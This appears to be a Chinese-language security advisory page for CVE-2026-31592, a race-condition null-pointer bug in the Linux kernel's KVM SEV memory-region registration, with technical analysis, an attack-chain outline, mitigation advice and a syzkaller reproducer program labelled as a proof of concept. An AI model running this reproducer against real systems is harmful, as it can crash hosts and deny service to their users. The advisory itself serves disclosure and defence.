IPBUF安全漏洞报告
English
CVE-2026-31592 CVSS 5.5 中危

CVE-2026-31592: Linux内核KVM SEV内存加密区域空指针漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31592
漏洞类型
空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelKVMSEV空指针引用拒绝服务竞态条件

漏洞概述

Linux内核中的KVM SEV(安全加密虚拟化)组件存在一个安全漏洞。该漏洞源于`sev_mem_enc_register_region`函数在调用`sev_guest()`之前未正确持有`kvm->lock`。由于`sev_guest()`的状态在未持有锁的情况下是不稳定的,如果`KVM_SEV_INIT`操作失败,KVM可能会尝试向尚未初始化的`sev->regions_list`添加区域。这将导致内核触发一般保护性错误或空指针解引用,进而造成系统崩溃。本地低权限攻击者可利用此漏洞导致系统拒绝服务。

技术细节

该漏洞的核心在于Linux内核KVM子系统中SEV模块的并发处理缺陷。具体来说,漏洞位于`sev_mem_enc_register_region()`函数中。该函数在执行操作前需要检查`sev_guest()`的状态以确定SEV是否已初始化,但在检查时并未持有必要的`kvm->lock`。在多线程或并发场景下,如果另一个线程正在执行`KVM_SEV_INIT`或`KVM_SEV_INIT2`操作且该操作失败,SEV的状态可能会回滚或处于未初始化状态。此时,未受保护的`sev_mem_enc_register_region`函数可能会错误地认为SEV已就绪,并尝试访问`sev->regions_list`链表。由于该链表尚未初始化(指针为NULL或无效),内核在进行链表操作时会触发空指针解引用或访问非规范地址,导致内核恐慌。攻击者可以通过syzkaller等工具构造特定的ioctl调用序列,并发地触发KVM操作,从而在竞争窗口内触发该漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限访问权限,能够访问KVM设备接口。
STEP 2
步骤2
攻击者利用syzkaller等工具并发执行多个KVM相关的ioctl操作,如创建VM(KVM_CREATE_VM)和添加内存区域。
STEP 3
步骤3
触发竞态条件,使得`sev_mem_enc_register_region`在`KVM_SEV_INIT`失败导致SEV未初始化时,尝试访问`regions_list`。
STEP 4
步骤4
内核访问空指针或无效地址,触发一般保护故障(#GP)和空指针解引用,导致系统崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
syz_kvm_add_vcpu$x86(0x0, &(0x7f0000000040)={0x0, &(0x7f0000000180)=ANY=[], 0x70}) (async) syz_kvm_add_vcpu$x86(0x0, &(0x7f0000000080)={0x0, &(0x7f0000000180)=ANY=[@ANYBLOB="..."], 0x4f}) (async) r0 = openat$kvm(0xffffffffffffff9c, &(0x7f0000000200), 0x0, 0x0) r1 = ioctl$KVM_CREATE_VM(r0, 0xae01, 0x0) r2 = openat$kvm(0xffffffffffffff9c, &(0x7f0000000240), 0x0, 0x0) r3 = ioctl$KVM_CREATE_VM(r2, 0xae01, 0x0) ioctl$KVM_SET_CLOCK(r3, 0xc008aeba, &(0x7f0000000040)={0x1, 0x8, 0x0, 0x5625e9b0}) (async) ioctl$KVM_SET_PIT2(r3, 0x8010aebb, &(0x7f0000000280)={[...], 0x5}) (async) ioctl$KVM_SET_PIT2(r1, 0x4070aea0, 0x0) (async) r4 = ioctl$KVM_CREATE_VM(0xffffffffffffffff, 0xae01, 0x0) openat$kvm(0xffffffffffffff9c, 0x0, 0x0, 0x0) (async) ioctl$KVM_SET_USER_MEMORY_REGION(r4, 0x4020ae46, &(0x7f0000000400)={0x0, 0x0, 0x0, 0x2000, &(0x7f0000001000/0x2000)=nil}) (async) r5 = ioctl$KVM_CREATE_VCPU(r4, 0xae41, 0x2) close(r0) (async) openat$kvm(0xffffffffffffff9c, &(0x7f0000000000), 0x8000, 0x0) (async) ioctl$KVM_SET_GUEST_DEBUG(r5, 0x4048ae9b, &(0x7f0000000300)={0x4376ea830d46549b, 0x0, [0x46, 0x0, 0x0, 0x0, 0x0, 0x1000]}) (async) ioctl$KVM_RUN(r5, 0xae80, 0x0)

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
建议系统管理员限制对KVM虚拟化设备的访问权限,仅允许可信用户或管理员操作。同时,应密切关注Linux内核官方发布的安全更新,并尽快应用相关补丁(如提交 0ff93ff0ba82e9511770e175fa50682a1ab14fb6 等)以修复该竞态条件漏洞,防止系统被本地攻击者崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表